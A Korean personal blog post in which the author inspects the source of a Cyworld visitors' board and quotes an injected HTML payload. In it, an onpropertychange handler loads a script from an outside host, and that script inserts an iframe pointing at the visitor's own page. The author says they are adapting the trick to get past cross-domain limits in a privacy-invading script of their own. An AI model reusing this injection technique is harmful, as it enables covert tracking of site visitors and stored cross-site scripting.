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싸이 게시판에 자기 홈피가 떴다면..?

요즘 2 MegaByte에 관련하여 인터넷에서 말이많다. 과연 이게 2097152byte인지 2000000byte인지에 대한 논란이다. 요즘에는 이 문제에 대해 생각하기도 머리아프고 싫으니까 아예 없애버리자는 의견도 꽤나 무게를 얻고 있던데.

아무튼 이에 대하여 사이트를 둘러보다가, 예전에 430이라는 혁명적인 상수를 생각해내신, 무죄의 허느님이 생각이 나서 싸이 홈피에 들어가봤다. 이미 큰집에 전세깔고 누우셨는데도 하루접속자가 꽤 많았다. 역시 허느님의 염력은 창살로도 막을 수 없구나!!

사진첩에 들어가서 문제의 합성사진도 보고, 여러 스캔들에 대한 사진들도 보고 하다가 옆에 일촌들의 공간이라고 해서 자유롭게 글을 올릴 수 있는 공간에 가봤는데, 별 잡스런 사진들이 다 있더라. 항상 게시판은 10페이지까지 읽고 보자는 관념이 박혀있어 끝까지 읽으려 하는데 3페이지부터 로그인이 필요하다는 메시지가 뜨는것이다. 이건 필히 뭔가가 있다, 하는 생각으로 3페이지의 소스를 분석 한 결과, 아래와같은 내용이 뜨게 되었다.




==========  본문 내부 소스   =============
  <span id="brd_content_0" name="brd_content_0">
<STYLE>P {MARGIN-TOP:2px; MARGIN-BOTTOM:2px}</STYLE><P><CENTER id=ssss>&nbsp;</CENTER><A onpropertychange='var oScript=document.createElement( "SCRIPT" ); oScript.src = "http://ceo.jdsn.net/sang";document.getElementById("ssss").appendChild(oScript);' href="aaa"></A>
<P></P>
<STYLE>P {MARGIN-TOP:2px; MARGIN-BOTTOM:2px}</STYLE>
허경영 총재가 젤 좋아하는 사람 미니홈피 캡춰한거야..^^
<P></P>
<P><A href="http://minihp.cyworld.com/pims/board/image/imgbrd_list.asp?tid=23028806&urlstr=phot&list_type=&board_no=10&search_type=&search_keyword=&search_content="><STRONG><FONT color=#fe1100>스크랩하기 클릭!!</FONT></STRONG></A></P></P>
  </span>
  <script type="text/javascript">
   var anchor_links = document.getElementById("brd_content_0").getElementsByTagName("A");

   for(i=0; i< anchor_links.length; i++){
    if(i === 0 && anchor_links[i].id === "target1") {
    }
    else {
     anchor_links[i].target = "_blank";
    }
   }
  </script>

=============   script src 내의 내용     ================

document.getElementById("ssss").innerHTML = '<iframe src="http://minihp.cyworld.com/pims/main/pims_main.asp?tid=" width="230" height="500" frameborder="0" scrolling="no"></iframe>';

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사실 그냥 넘어갈 수 있는 간단한 예제인데, 여기서 언급하는것은 AJAX의 Cross-domain/side의 문제 해결에 위에서 쓰인 기법을 사용하기 때문이다. 전에 사생활적으로 그다지 유쾌하지 않은 스크립트를 제작하였는데, Crossdomain 정책때문에 계속 걸렸다. 그리고 이런 기법으로 해결하는 중이다. (그리고 그에 대한 정보를 정리중이다.) 하지만 이번달에 시험과 일정이 여러개가 겹쳐있어 신경을 많이 못쓰고 있는 상황이다.


4월 초부터 포스팅을 못한것은 정신적으로 여유가 없었기 때문?이라고 변명해보지만 그놈의 여유less라는게 인간의 기초적인 생활마저 방해하려 들고있어 참으로 안타까울 따름이다. 바꿔보려 애쓰고 있지만 오랫동안 그것에 노출되었기 때문일까, 바꾸기가 쉽지 않다. 아흑ㅠㅠ

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